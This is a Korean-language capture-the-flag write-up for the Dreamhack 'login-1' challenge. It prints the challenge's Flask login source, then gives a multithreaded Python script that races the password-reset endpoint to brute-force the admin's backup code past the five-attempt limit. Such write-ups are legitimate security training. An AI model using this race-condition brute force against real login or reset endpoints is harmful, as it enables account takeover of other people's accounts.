CTF, War game

[Dreamhack] Level 2: login-1

mnzy๐ŸŒฑ 2024. 4. 13. 20:56

1. ๋ฌธ์ œ

 

login-1

python์œผ๋กœ ์ž‘์„ฑ๋œ ๋กœ๊ทธ์ธ ๊ธฐ๋Šฅ์„ ๊ฐ€์ง„ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. "admin" ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. Reference Server-side Basic

dreamhack.io

2. ํ•ด๊ฒฐ ๊ณผ์ •

๋ฌธ์ œ์— ์ ‘์†ํ•˜๋‹ˆ, ๋กœ๊ทธ์ธ/ ํšŒ์›๊ฐ€์ž…/๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ • ๊ธฐ๋Šฅ์ด ์žˆ๋Š” ํŽ˜์ด์ง€๊ฐ€ ๋ณด์ธ๋‹ค. 

 

 

๋กœ๊ทธ์ธ ํŽ˜์ด์ง€์—์„œ admin/admin ์œผ๋กœ ์ž…๋ ฅํ•ด๋ณด์•˜๋”๋‹ˆ ํ‹€๋ ธ๋‹ค๊ณ  ๋‚˜์˜จ๋‹ค. 

 

์ฝ”๋“œ ํ™•์ธ 

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get("userid")
        password = request.form.get("password")

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ? and pw = ?', (userid, hashlib.sha256(password.encode()).hexdigest() )).fetchone()
        
        if user:
            session['idx'] = user['idx']
            session['userid'] = user['id']
            session['name'] = user['name']
            session['level'] = userLevel[user['level']]
            return redirect(url_for('index'))

        return "<script>alert('Wrong id/pw');history.back(-1);</script>";

@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('index'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    else:
        userid = request.form.get("userid")
        password = request.form.get("password")
        name = request.form.get("name")

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            return "<script>alert('Already Exists userid.');history.back(-1);</script>";

        backupCode = makeBackupcode()
        sql = "INSERT INTO user(id, pw, name, level, backupCode) VALUES (?, ?, ?, ?, ?)"
        cur.execute(sql, (userid, hashlib.sha256(password.encode()).hexdigest(), name, 0, backupCode))
        conn.commit()
        return render_template("index.html", msg=f"<b>Register Success.</b><br/>Your BackupCode : {backupCode}")

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'GET':
        return render_template('forgot.html')
    else:
        userid = request.form.get("userid")
        newpassword = request.form.get("newpassword")
        backupCode = request.form.get("backupCode", type=int)

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            # security for brute force Attack.
            time.sleep(1)

            if user['resetCount'] == MAXRESETCOUNT:
                return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
            
            if user['backupCode'] == backupCode:
                newbackupCode = makeBackupcode()
                updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
                cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
                msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"

            else:
                updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
                cur.execute(updateSQL, (str(user['idx'])))
                msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
            
            conn.commit()
            return render_template("index.html", msg=msg)

        return "<script>alert('User Not Found.');history.back(-1);</script>";


@app.route('/user/<int:useridx>')
def users(useridx):
    conn = get_db()
    cur = conn.cursor()
    user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
    
    if user:
        return render_template('user.html', user=user)

    return "<script>alert('User Not Found.');history.back(-1);</script>";

@app.route('/admin')
def admin():
    if session and (session['level'] == userLevel[1]):
        return FLAG

    return "Only Admin !"

 

 

register ํŽ˜์ด์ง€์—์„œ ๊ณ„์ •์„ ๋งŒ๋“ค์–ด๋ณด์•˜๋‹ค. 

test/test๋กœ ํšŒ์›๊ฐ€์ž…์„ ํ•˜๋‹ˆ ๋ฐฑ์—…์ฝ”๋“œ 33์„ ๋ถ€์—ฌ๋ฐ›์•˜๋‹ค. 

 

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด ๋ฐฑ์—…์ฝ”๋“œ๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•  ๋•Œ ์‚ฌ์šฉ๋œ๋‹ค.

๋˜ํ•œ, userLevel์˜ ๊ฒฝ์šฐ 1์ด๋ฉด admin ๋ ˆ๋ฒจ์ด๋‹ค.

 

 

ํšŒ์›๊ฐ€์ž…์„ ํ•˜๋ฉด /user/ ๋’ค๋กœ ์ˆซ์ž๊ฐ€ ๋œจ๋Š”๋ฐ,  /user/1 ๋กœ ์ ‘์†ํ•ด๋ณด๋ฉด Apple/Apple ๊ณ„์ •์ด ๋œฌ๋‹ค.

์ด๋•Œ, userLevel์ด 1์ด๋ฏ€๋กœ ์ด ๊ณ„์ •์ด admin์ธ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

http://host3.dreamhack.games:23385/user/2 ๋กœ ์ ‘์†ํ•ด๋ณด๋ฉด Banana ๊ณ„์ •์ด ๋œฌ๋‹ค.

์ด ๊ณ„์ •์€ ์ผ๋ฐ˜ ์œ ์ € ๊ณ„์ •์ด๋‹ค. 

 

 

Apple ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฐ”๊ฟ”์„œ ๋กœ๊ทธ์ธ ํ•ด์•ผ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

Apple ๊ณ„์ • ํŒจ์Šค์›Œ๋“œ๋ฅผ ๋ณ€๊ฒฝํ•ด๋ณธ๋‹ค.

 

๋ฐฑ์—…์ฝ”๋“œ๋ฅผ ๋ชจ๋ฅด๋ฏ€๋กœ ์ผ๋‹จ 0์œผ๋กœ ์„ค์ •

 

์ž˜๋ชป๋œ ๋ฐฑ์—…์ฝ”๋“œ๋ผ๋Š” ์ฐฝ์ด ๋œจ๊ณ , ๋กœ๊ทธ์ธ ์‹œ๋„๊ฐ€ 4๋ฒˆ ๋‚จ์•˜๋‹ค๋Š” ์นด์šดํŒ…์ด ๋œฌ๋‹ค.

 

ํŒจ์Šค์›Œ๋“œ ๋ณ€๊ฒฝ ์ฝ”๋“œ๋ฅผ ๋‹ค์‹œ ํ™•์ธํ•ด๋ณด๋ฉด, 

1. user๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ณ„์ •์ด๋ฉด time.sleep(1)์œผ๋กœ 1์ดˆ๋ฅผ ์ง€์—ฐ์‹œํ‚จ๋‹ค.

2. user['resetcount']๊ฐ€ 5์ด๋ฉด ์ด์ „ ํŽ˜์ด์ง€๋กœ ๊ฐ•์ œ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ์‹œํ‚จ๋‹ค. [๋ฐฑ์—…์ฝ”๋“œ ์‹คํŒจ ํšŸ์ˆ˜ 5ํšŒ ์ œํ•œ]

3. backup ์ฝ”๋“œ๊ฐ€ ์ผ์น˜ํ•˜๋ฉด 1~100๊นŒ์ง€ ๋žœ๋คํ•œ ์ˆซ์ž๋กœ ์ƒˆ๋กœ์šด ๋ฐฑ์—…์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค๊ณ  ํŒจ์Šค์›Œ๋“œ๋ฅผ ๋ณ€๊ฒฝํ•œ๋‹ค.

4. backup ์ฝ”๋“œ๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์œผ๋ฉด user['resetcount']๋ฅผ 1 ์ฆ๊ฐ€์‹œํ‚จ๋‹ค.

 

๋ ˆ์ด์Šค์ปจ๋””์…˜ ๊ฐœ๋…์„ ๋– ์˜ฌ๋ ค๋ณด๋ฉด ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๋Š”๋ฐ ๋„์›€์ด ๋œ๋‹ค.

์‹œ์Šคํ…œ ์ž์›์€ ํ•œ์ •๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋…ผ๋ฆฌ์ ์ธ ๋ฌธ๋ฒ•์ด ์žˆ๋”๋ผ๋„ ๋™์‹œ์— ์š”์ฒญ์ด ๋“ค์–ด์˜จ๋‹ค๋ฉด ๋จผ์ € ๋“ค์–ด์˜จ ์š”์ฒญ์„ ๋‹ค ์ˆœ์ฐจ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ํ”„๋กœ์„ธ์Šค๋ผ๋ฆฌ ๊ฒฝ์Ÿ์„ ํ•œ๋‹ค.

 

1~100 ๊นŒ์ง€์˜ ์ˆ˜๋“ค ์ค‘ ๋žœ๋ค์œผ๋กœ ๋งŒ๋“ค์–ด์ง„ ์ˆ˜๋ฅผ ์ฐพ์•„๋‚ด๊ธฐ๋Š” ํž˜๋“ค๊ธฐ์—, , ๋ฉ€ํ‹ฐ ์Šค๋ ˆ๋“œ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์—ฌ 1๋ถ€ํ„ฐ 100๊นŒ์ง€ ์‹œ๋„๋ฅผ ํ•ด๋ณด๋Š” ๋ฐฉ์‹์œผ๋กœ ์ง„ํ–‰ํ•˜์˜€๋‹ค.

 

import threading, requests

url = "http://host3.dreamhack.games:23385/forgot_password"

def forgot(backupCode):
    data = {"userid": "Apple", "newpassword": "Apple", "backupCode": backupCode}
    requests.post(url, data=data)
    print(f"{backupCode}๋ฒˆ์งธ ์š”์ฒญ")

if __name__ == "__main__":
    threads = []
    for i in range(1, 100 + 1):
        t = threading.Thread(target=forgot, args=[i])
        t.start()
        threads.append(t)

    for thread in threads:
        thread.join()

    print("END")

 

 

 

์ดํ›„ ์ฝ”๋“œ์—์„œ ์ˆ˜์ •ํ•œ๋Œ€๋กœ Apple/Apple๋กœ ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•˜์˜€๋‹ค.